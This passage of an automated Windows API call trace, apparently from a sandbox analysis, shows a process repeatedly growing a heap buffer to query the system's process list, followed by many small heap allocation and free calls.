0xc0000004 [0160.303] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x42be49b0, Size=0x1733c) returned 0x42be49b0 [0160.303] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x42be49b0, Length=0x1733c, ResultLength=0x0 | out: SystemInformation=0x42be49b0, ResultLength=0x0) returned 0xc0000004 [0160.303] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x42be49b0, Size=0x18360) returned 0x42be49b0 [0160.303] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x42be49b0, Length=0x18360, ResultLength=0x0 | out: SystemInformation=0x42be49b0, ResultLength=0x0) returned 0xc0000004 [0160.304] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x42be49b0, Size=0x19384) returned 0x42be49b0 [0160.304] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x42be49b0, Length=0x19384, ResultLength=0x0 | out: SystemInformation=0x42be49b0, ResultLength=0x0) returned 0xc0000004 [0160.304] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x42be49b0, Size=0x1a3a8) returned 0x42be49b0 [0160.305] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x42be49b0, Length=0x1a3a8, ResultLength=0x0 | out: SystemInformation=0x42be49b0, ResultLength=0x0) returned 0xc0000004 [0160.305] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x42be49b0, Size=0x1b3cc) returned 0x42be49b0 [0160.305] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x42be49b0, Length=0x1b3cc, ResultLength=0x0 | out: SystemInformation=0x42be49b0, ResultLength=0x0) returned 0xc0000004 [0160.316] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x42be49b0, Size=0x1c3f0) returned 0x42be49b0 [0160.317] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x42be49b0, Length=0x1c3f0, ResultLength=0x0 | out: SystemInformation=0x42be49b0, ResultLength=0x0) returned 0xc0000004 [0160.318] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x42be49b0, Size=0x1d414) returned 0x42be49b0 [0160.318] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x42be49b0, Length=0x1d414, ResultLength=0x0 | out: SystemInformation=0x42be49b0, ResultLength=0x0) returned 0xc0000004 [0160.319] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x42be49b0, Size=0x1e438) returned 0x42be49b0 [0160.319] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x42be49b0, Length=0x1e438, ResultLength=0x0 | out: SystemInformation=0x42be49b0, ResultLength=0x0) returned 0xc0000004 [0160.319] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x42be49b0, Size=0x1f45c) returned 0x42be49b0 [0160.319] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x42be49b0, Length=0x1f45c, ResultLength=0x0 | out: SystemInformation=0x42be49b0, ResultLength=0x0) returned 0xc0000004 [0160.320] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x42be49b0, Size=0x20480) returned 0x42be49b0 [0160.320] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x42be49b0, Length=0x20480, ResultLength=0x0 | out: SystemInformation=0x42be49b0, ResultLength=0x0) returned 0xc0000004 [0160.320] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x42be49b0, Size=0x214a4) returned 0x42be49b0 [0160.321] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x42be49b0, Length=0x214a4, ResultLength=0x0 | out: SystemInformation=0x42be49b0, ResultLength=0x0) returned 0xc0000004 [0160.321] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x42be49b0, Size=0x224c8) returned 0x42be49b0 [0160.322] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x42be49b0, Length=0x224c8, ResultLength=0x0 | out: SystemInformation=0x42be49b0, ResultLength=0x0) returned 0xc0000004 [0160.322] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x42be49b0, Size=0x234ec) returned 0x42be49b0 [0160.322] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x42be49b0, Length=0x234ec, ResultLength=0x0 | out: SystemInformation=0x42be49b0, ResultLength=0x0) returned 0xc0000004 [0160.323] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x42be49b0, Size=0x24510) returned 0x42be49b0 [0160.323] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x42be49b0, Length=0x24510, ResultLength=0x0 | out: SystemInformation=0x42be49b0, ResultLength=0x0) returned 0xc0000004 [0160.323] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x42be49b0, Size=0x25534) returned 0x42be49b0 [0160.324] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x42be49b0, Length=0x25534, ResultLength=0x0 | out: SystemInformation=0x42be49b0, ResultLength=0x0) returned 0xc0000004 [0160.324] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x42be49b0, Size=0x26558) returned 0x42be49b0 [0160.324] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x42be49b0, Length=0x26558, ResultLength=0x0 | out: SystemInformation=0x42be49b0, ResultLength=0x0) returned 0xc0000004 [0160.325] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x42be49b0, Size=0x2757c) returned 0x42be49b0 [0160.325] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x42be49b0, Length=0x2757c, ResultLength=0x0 | out: SystemInformation=0x42be49b0, ResultLength=0x0) returned 0xc0000004 [0160.325] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x42be49b0, Size=0x285a0) returned 0x42be49b0 [0160.325] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x42be49b0, Length=0x285a0, ResultLength=0x0 | out: SystemInformation=0x42be49b0, ResultLength=0x0) returned 0xc0000004 [0160.326] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x42be49b0, Size=0x295c4) returned 0x42be49b0 [0160.326] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x42be49b0, Length=0x295c4, ResultLength=0x0 | out: SystemInformation=0x42be49b0, ResultLength=0x0) returned 0xc0000004 [0160.327] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x42be49b0, Size=0x2a5e8) returned 0x42be49b0 [0160.327] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x42be49b0, Length=0x2a5e8, ResultLength=0x0 | out: SystemInformation=0x42be49b0, ResultLength=0x0) returned 0xc0000004 [0160.327] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x42be49b0, Size=0x2b60c) returned 0x42be49b0 [0160.327] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x42be49b0, Length=0x2b60c, ResultLength=0x0 | out: SystemInformation=0x42be49b0, ResultLength=0x0) returned 0xc0000004 [0160.328] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x42be49b0, Size=0x2c630) returned 0x42be49b0 [0160.328] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x42be49b0, Length=0x2c630, ResultLength=0x0 | out: SystemInformation=0x42be49b0, ResultLength=0x0) returned 0xc0000004 [0160.329] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x42be49b0, Size=0x2d654) returned 0x42be49b0 [0160.329] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x42be49b0, Length=0x2d654, ResultLength=0x0 | out: SystemInformation=0x42be49b0, ResultLength=0x0) returned 0xc0000004 [0160.329] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x42be49b0, Size=0x2e678) returned 0x42be49b0 [0160.329] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x42be49b0, Length=0x2e678, ResultLength=0x0 | out: SystemInformation=0x42be49b0, ResultLength=0x0) returned 0xc0000004 [0160.330] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x42be49b0, Size=0x2f69c) returned 0x42be49b0 [0160.330] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x42be49b0, Length=0x2f69c, ResultLength=0x0 | out: SystemInformation=0x42be49b0, ResultLength=0x0) returned 0x0 [0160.331] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2) returned 0x1b7d3400 [0160.332] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7d3400) returned 1 [0160.332] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xe) returned 0x174b90 [0160.332] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x174b90) returned 1 [0160.332] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x12) returned 0x174b90 [0160.333] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x174b90) returned 1 [0160.333] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x14) returned 0x174b90 [0160.333] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x174b90) returned 1 [0160.333] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x174b90 [0160.334] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x174b90) returned 1 [0160.334] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x14) returned 0x174b90 [0160.334] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x174b90) returned 1 [0160.334] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1a) returned 0x42ac2030 [0160.335] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42ac2030) returned 1 [0160.335] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1a) returned 0x42ac2030 [0160.335] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42ac2030) returned 1 [0160.335] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x14) returned 0x174b90 [0160.335] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x174b90) returned 1 [0160.335] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x10) returned 0x174b90 [0160.336] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x174b90) returned 1 [0160.336] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x174b90 [0160.336] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x174b90) returned 1 [0160.340] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x174b90 [0160.341] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x174b90) returned 1 [0160.341] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x174b90 [0160.341] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x174b90) returned 1 [0160.341] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x174b90 [0160.342] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x174b90) returned 1 [0160.342] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x174b90 [0160.342] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x174b90) returned 1 [0160.342] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x174b90 [0160.343] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x174b90) returned 1 [0160.343] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x174b90 [0160.343] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x174b90) returned 1 [0160.343] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x174b90 [0160.344] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x174b90) returned 1 [0160.344] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x10) returned 0x174b90 [0160.344] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x174b90) returned 1 [0160.344] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1a) returned 0x42ac2030 [0160.345] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42ac2030) returned 1 [0160.345] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x174b90 [0160.345] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x174b90) returned 1 [0160.345] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x174b90 [0160.346] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x174b90) returned 1 [0160.346] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1a) returned 0x42ac2030 [0160.346] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42ac2030) returned 1 [0160.346] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x174b90 [0160.347] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x174b90) returned 1 [0160.347] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x28) returned 0x42ac2030 [0160.347] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42ac2030) returned 1 [0160.347] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1e) returned 0x42ac2030 [0160.348] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42ac2030) returned 1 [0160.348] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x10) returned 0x174b90 [0160.348] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x174b90) returned 1 [0160.348] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1e) returned 0x42ac2030 [0160.349] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42ac2030) returned 1 [0160.349] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x22) returned 0x42ac2030 [0160.349] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42ac2030) returned 1 [0160.349] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x24) returned 0x42ac2030 [0160.349] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42ac2030) returned 1 [0160.349] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x24) returned 0x42ac2030 [0160.350] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42ac2030) returned 1 [0160.350] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x24) returned 0x42ac2030 [0160.350] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42ac2030) returned 1 [0160.350] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x14) returned 0x174b90 [0160.351] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x174b90) returned 1 [0160.351] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x28) returned 0x42ac2030 [0160.351] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42ac2030) returned 1 [0160.351] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2c) returned 0x1b7d6740 [0160.352] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7d6740) returned 1 [0160.352] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c) returned 0x1cd97e40 [0160.352] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97e40) returned 1 [0160.353] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x22) returned 0x42ac2030 [0160.353] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42ac2030) returned 1 [0160.353] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x36) returned 0x1b7d6740 [0160.354] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7d6740) returned 1 [0160.354] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3a) returned 0x1cd97e40 [0160.354] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97e40) returned 1 [0160.354] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2c) returned 0x1b7d6740 [0160.355] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7d6740) returned 1 [0160.355] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x28) returned 0x42ac2030 [0160.355] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42ac2030) returned 1 [0160.355] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x24) returned 0x42ac2030 [0160.355] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42ac2030) returned 1 [0160.355] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x14) returned 0x174b90 [0160.356] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x174b90) returned 1 [0160.356] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x42ac2030 [0160.356] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42ac2030) returned 1 [0160.356] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x14) returned 0x174b90 [0160.357] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x174b90) returned 1 [0160.357] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1a) returned 0x42ac2030 [0160.357] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42ac2030) returned 1 [0160.357] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x174b90 [0160.358] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x174b90) returned 1 [0160.358] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x10) returned 0x174b90 [0160.358] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x174b90) returned 1 [0160.358] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1c) returned 0x42ac2030 [0160.359] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42ac2030) returned 1 [0160.359] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1a) returned 0x42ac2030 [0160.359] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42ac2030) returned 1 [0160.359] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x14) returned 0x174b90 [0160.359] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x174b90) returned 1 [0160.360] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x42ac2030 [0160.360] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42ac2030) returned 1 [0160.360] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2a) returned 0x1b7d6740 [0160.360] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7d6740) returned 1 [0160.360] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x10) returned 0x174b90 [0160.361] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x174b90) returned 1 [0160.361] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1a) returned 0x42ac2030 [0160.361] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42ac2030) returned 1 [0160.361] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x14) returned 0x174b90 [0160.362] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x174b90) returned 1 [0160.362] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x174b90 [0160.362] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x174b90) returned 1 [0160.362] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1c) returned 0x42ac2030 [0160.363] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42ac2030) returned 1 [0160.363] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x16) returned 0x174b90 [0160.363] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x174b90) returned 1 [0160.363] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1c) returned 0x42ac2030 [0160.364] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42ac2030) returned 1 [0160.364] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x14) returned 0x174b90 [0160.364] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x174b90) returned 1 [0160.364] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1a) returned 0x42ac2030 [0160.365] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42ac2030) returned 1 [0160.365] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1a) returned 0x42ac2030 [0160.365] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42ac2030) returned 1 [0160.365] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1a) returned 0x42ac2030 [0160.365] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42ac2030) returned 1 [0160.366] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1a) returned 0x42ac2030 [0160.366] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42ac2030) returned 1 [0160.366] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1a) returned 0x42ac2030 [0160.366] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42ac2030) returned 1 [0160.366] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x16) returned 0x174b90 [0160.367] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x174b90) returned 1 [0160.367] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x42ac2030 [0160.367] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42ac2030) returned 1 [0160.367] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x24) returned 0x42ac2030 [0160.368] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42ac2030) returned 1 [0160.368] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x174b90 [0160.369] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x174b90) returned 1 [0160.369] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x14) returned 0x174b90 [0160.369] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x174b90) returned 1 [0160.369] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x16) returned 0x174b90 [0160.370] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x174b90) returned 1 [0160.370] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1e) returned 0x42ac2030 [0160.370] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42ac2030) returned 1 [0160.370] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2c) returned 0x1b7d6740 [0160.371] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7d6740) returned 1 [0160.371] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x24) returned 0x42ac2030 [0160.371] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42ac2030) returned 1 [0160.371] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x16) returned 0x174b90 [0160.371] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x174b90) returned 1 [0160.371] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x12) returned 0x174b90 [0160.372] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x174b90) returned 1 [0160.372] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x16) returned 0x174b90 [0160.372] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x174b90) returned 1 [0160.372] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x22) returned 0x42ac2030 [0160.373] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42ac2030) returned 1 [0160.373] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x174b90 [0160.373] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x174b90) returned 1 [0160.373] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x16) returned 0x174b90 [0160.374] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x174b90) returned 1 [0160.374] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x28) returned 0x42ac2030 [0160.374] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42ac2030) returned 1 [0160.374] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x12) returned 0x174b90 [0160.375] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x174b90) returned 1 [0160.375] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x174b90 [0160.375] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x174b90) returned 1 [0160.375] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x24) returned 0x42ac2030 [0160.376] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42ac2030) returned 1 [0160.376] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1e) returned 0x42ac2030 [0160.376] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42ac2030) returned 1 [0160.376] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1a) returned 0x42ac2030 [0160.376] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42ac2030) returned 1 [0160.377] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1a) returned 0x42ac2030 [0160.377] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42ac2030) returned 1 [0160.377] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1a) returned 0x42ac2030 [0160.377] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42ac2030) returned 1 [0160.377] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1e) returned 0x42ac2030 [0160.378] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42ac2030) returned 1 [0160.378] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x174b90 [0160.378] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x174b90) returned 1 [0160.378] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x174b90 [0160.379] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x174b90) returned 1 [0160.379] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x16) returned 0x174b90 [0160.379] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x174b90) returned 1 [0160.379] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x174b90 [0160.380] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x174b90) returned 1 [0160.380] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1a) returned 0x42ac2030 [0160.380] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42ac2030) returned 1 [0160.380] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, 